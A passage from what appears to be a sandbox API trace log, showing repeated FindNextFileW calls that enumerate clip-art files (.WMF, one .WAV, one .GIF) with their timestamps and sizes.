dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195384.WMF", cAlternateFileName="")) returned 1 [0069.053] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa438000, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa438000, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x275c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195534.WMF", cAlternateFileName="")) returned 1 [0069.053] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x455d9300, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x455d9300, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0xfca, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195812.WMF", cAlternateFileName="")) returned 1 [0069.053] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec5c200, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ec5c200, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0x7b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196164.WMF", cAlternateFileName="")) returned 1 [0069.053] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81ec6b00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81ec6b00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x1216, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196374.WMF", cAlternateFileName="")) returned 1 [0069.053] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x929ce100, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x929ce100, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x8cbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196400.WMF", cAlternateFileName="")) returned 1 [0069.053] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91fc00, ftCreationTime.dwHighDateTime=0x1bdf0c6, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x91fc00, ftLastWriteTime.dwHighDateTime=0x1bdf0c6, nFileSizeHigh=0x0, nFileSizeLow=0x2518, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199036.WMF", cAlternateFileName="")) returned 1 [0069.053] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebd55500, ftCreationTime.dwHighDateTime=0x1be05ec, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xebd55500, ftLastWriteTime.dwHighDateTime=0x1be05ec, nFileSizeHigh=0x0, nFileSizeLow=0x8ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199283.WMF", cAlternateFileName="")) returned 1 [0069.053] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b53500, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54b53500, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xf5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199549.WMF", cAlternateFileName="")) returned 1 [0069.053] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b8b4b00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8b8b4b00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x341e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199661.WMF", cAlternateFileName="")) returned 1 [0069.053] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1b0eb00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb1b0eb00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199727.WMF", cAlternateFileName="")) returned 1 [0069.053] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc6b8000, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbc6b8000, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xaf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199755.WMF", cAlternateFileName="")) returned 1 [0069.053] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd311d700, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd311d700, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199805.WMF", cAlternateFileName="")) returned 1 [0069.053] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85ccab00, ftCreationTime.dwHighDateTime=0x1be4d5e, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85ccab00, ftLastWriteTime.dwHighDateTime=0x1be4d5e, nFileSizeHigh=0x0, nFileSizeLow=0x2398, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205462.WMF", cAlternateFileName="")) returned 1 [0069.053] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89603200, ftCreationTime.dwHighDateTime=0x1be4d5e, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x89603200, ftLastWriteTime.dwHighDateTime=0x1be4d5e, nFileSizeHigh=0x0, nFileSizeLow=0x11e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205466.WMF", cAlternateFileName="")) returned 1 [0069.053] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14d9c300, ftCreationTime.dwHighDateTime=0x1be4d5f, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x14d9c300, ftLastWriteTime.dwHighDateTime=0x1be4d5f, nFileSizeHigh=0x0, nFileSizeLow=0x17f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205582.WMF", cAlternateFileName="")) returned 1 [0069.053] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e240a00, ftCreationTime.dwHighDateTime=0x1be560f, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3e240a00, ftLastWriteTime.dwHighDateTime=0x1be560f, nFileSizeHigh=0x0, nFileSizeLow=0xb34e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0211949.WMF", cAlternateFileName="")) returned 1 [0069.053] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50527800, ftCreationTime.dwHighDateTime=0x1be5610, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50527800, ftLastWriteTime.dwHighDateTime=0x1be5610, nFileSizeHigh=0x0, nFileSizeLow=0x11be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212219.WMF", cAlternateFileName="")) returned 1 [0069.053] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56952400, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x56952400, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0x248e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212661.WMF", cAlternateFileName="")) returned 1 [0069.053] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e6ca800, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e6ca800, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0xb7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212701.WMF", cAlternateFileName="")) returned 1 [0069.054] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae7a700, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdae7a700, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0x2424, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212957.WMF", cAlternateFileName="")) returned 1 [0069.054] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8726e600, ftCreationTime.dwHighDateTime=0x1be59a2, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8726e600, ftLastWriteTime.dwHighDateTime=0x1be59a2, nFileSizeHigh=0x0, nFileSizeLow=0x68ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0214098.WAV", cAlternateFileName="")) returned 1 [0069.054] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32ba5a00, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32ba5a00, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215086.WMF", cAlternateFileName="")) returned 1 [0069.054] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35c4ec00, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x35c4ec00, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x3138, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216516.WMF", cAlternateFileName="")) returned 1 [0069.054] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e7ca500, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e7ca500, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x1c06, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216588.WMF", cAlternateFileName="")) returned 1 [0069.054] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff3ba100, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xff3ba100, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x5d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216724.WMF", cAlternateFileName="")) returned 1 [0069.054] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825cf700, ftCreationTime.dwHighDateTime=0x1be6c1b, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x825cf700, ftLastWriteTime.dwHighDateTime=0x1be6c1b, nFileSizeHigh=0x0, nFileSizeLow=0x2dc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216858.WMF", cAlternateFileName="")) returned 1 [0069.054] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8cb3500, ftCreationTime.dwHighDateTime=0x1be6c1d, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd8cb3500, ftLastWriteTime.dwHighDateTime=0x1be6c1d, nFileSizeHigh=0x0, nFileSizeLow=0x1aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0217698.WMF", cAlternateFileName="")) returned 1 [0069.054] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bfdb600, ftCreationTime.dwHighDateTime=0x1be7a36, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7bfdb600, ftLastWriteTime.dwHighDateTime=0x1be7a36, nFileSizeHigh=0x0, nFileSizeLow=0x3838, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0221903.WMF", cAlternateFileName="")) returned 1 [0069.054] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7bae00, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7d7bae00, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222015.WMF", cAlternateFileName="")) returned 1 [0069.054] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fde0800, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fde0800, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222017.WMF", cAlternateFileName="")) returned 1 [0069.054] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82406200, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x82406200, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222019.WMF", cAlternateFileName="")) returned 1 [0069.054] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85d3e900, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85d3e900, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222021.WMF", cAlternateFileName="")) returned 1 [0069.054] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b0a7e00, ftCreationTime.dwHighDateTime=0x1be860b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7b0a7e00, ftLastWriteTime.dwHighDateTime=0x1be860b, nFileSizeHigh=0x0, nFileSizeLow=0xf5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0229385.WMF", cAlternateFileName="")) returned 1 [0069.054] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c3bab00, ftCreationTime.dwHighDateTime=0x1be860b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7c3bab00, ftLastWriteTime.dwHighDateTime=0x1be860b, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0229389.WMF", cAlternateFileName="")) returned 1 [0069.054] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd64900, ftCreationTime.dwHighDateTime=0x1bc82e4, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6fd64900, ftLastWriteTime.dwHighDateTime=0x1bc82e4, nFileSizeHigh=0x0, nFileSizeLow=0x30da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0230876.WMF", cAlternateFileName="")) returned 1 [0069.054] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabe1b900, ftCreationTime.dwHighDateTime=0x1be516b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xabe1b900, ftLastWriteTime.dwHighDateTime=0x1be516b, nFileSizeHigh=0x0, nFileSizeLow=0x77f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233018.WMF", cAlternateFileName="")) returned 1 [0069.054] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c43c200, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3c43c200, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233070.WMF", cAlternateFileName="")) returned 1 [0069.054] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36d32e00, ftCreationTime.dwHighDateTime=0x1be56ed, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x36d32e00, ftLastWriteTime.dwHighDateTime=0x1be56ed, nFileSizeHigh=0x0, nFileSizeLow=0x80f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233312.WMF", cAlternateFileName="")) returned 1 [0069.054] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23f92c00, ftCreationTime.dwHighDateTime=0x1be8094, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x23f92c00, ftLastWriteTime.dwHighDateTime=0x1be8094, nFileSizeHigh=0x0, nFileSizeLow=0x6632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234131.WMF", cAlternateFileName="")) returned 1 [0069.054] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a15c200, ftCreationTime.dwHighDateTime=0x1be7fe9, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4a15c200, ftLastWriteTime.dwHighDateTime=0x1be7fe9, nFileSizeHigh=0x0, nFileSizeLow=0xa87e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234266.WMF", cAlternateFileName="")) returned 1 [0069.054] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1034e00, ftCreationTime.dwHighDateTime=0x1be75a5, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1034e00, ftLastWriteTime.dwHighDateTime=0x1be75a5, nFileSizeHigh=0x0, nFileSizeLow=0x27ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234657.WMF", cAlternateFileName="")) returned 1 [0069.055] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9eeb500, ftCreationTime.dwHighDateTime=0x1bf2be6, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9eeb500, ftLastWriteTime.dwHighDateTime=0x1bf2be6, nFileSizeHigh=0x0, nFileSizeLow=0xd4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234687.GIF", cAlternateFileName="")) returned 1 [0069.055] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85566d00, ftCreationTime.dwHighDateTime=0x1be911f, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85566d00, ftLastWriteTime.dwHighDateTime=0x1be911f, nFileSizeHigh=0x0, nFileSizeLow=0x1820, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0235241.WMF", cAlternateFileName="")) returned 1 [0069.055] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c56b00, ftCreationTime.dwHighDateTime=0x1c0371d, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4c56b00, ftLastWriteTime.dwHighDateTime=0x1c0371d, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0235319.WMF", cAlternateFileName="")) returned 1 [0069.055] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bd8800, ftCreationTime.dwHighDateTime=0x1be9cd9, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb0bd8800, ftLastWriteTime.dwHighDateTime=0x1be9cd9, nFileSizeHigh=0x0, nFileSizeLow=0x13d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240695.WMF", cAlternateFileName="")) returned 1 [0069.055] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc16dfe00, ftCreationTime.dwHighDateTime=0x1be9cd9, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc16dfe00, ftLastWriteTime.dwHighDateTime=0x1be9cd9, nFileSizeHigh=0x0, nFileSizeLow=0x1aa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240719.WMF", cAlternateFileName="")) returned 1 [0069.055] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d89700, ftCreationTime.dwHighDateTime=0x1beb2f4, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28d89700, ftLastWriteTime.dwHighDateTime=0x1beb2f4, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251301.WMF", cAlternateFileName="")) returned 1 [0069.055] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: 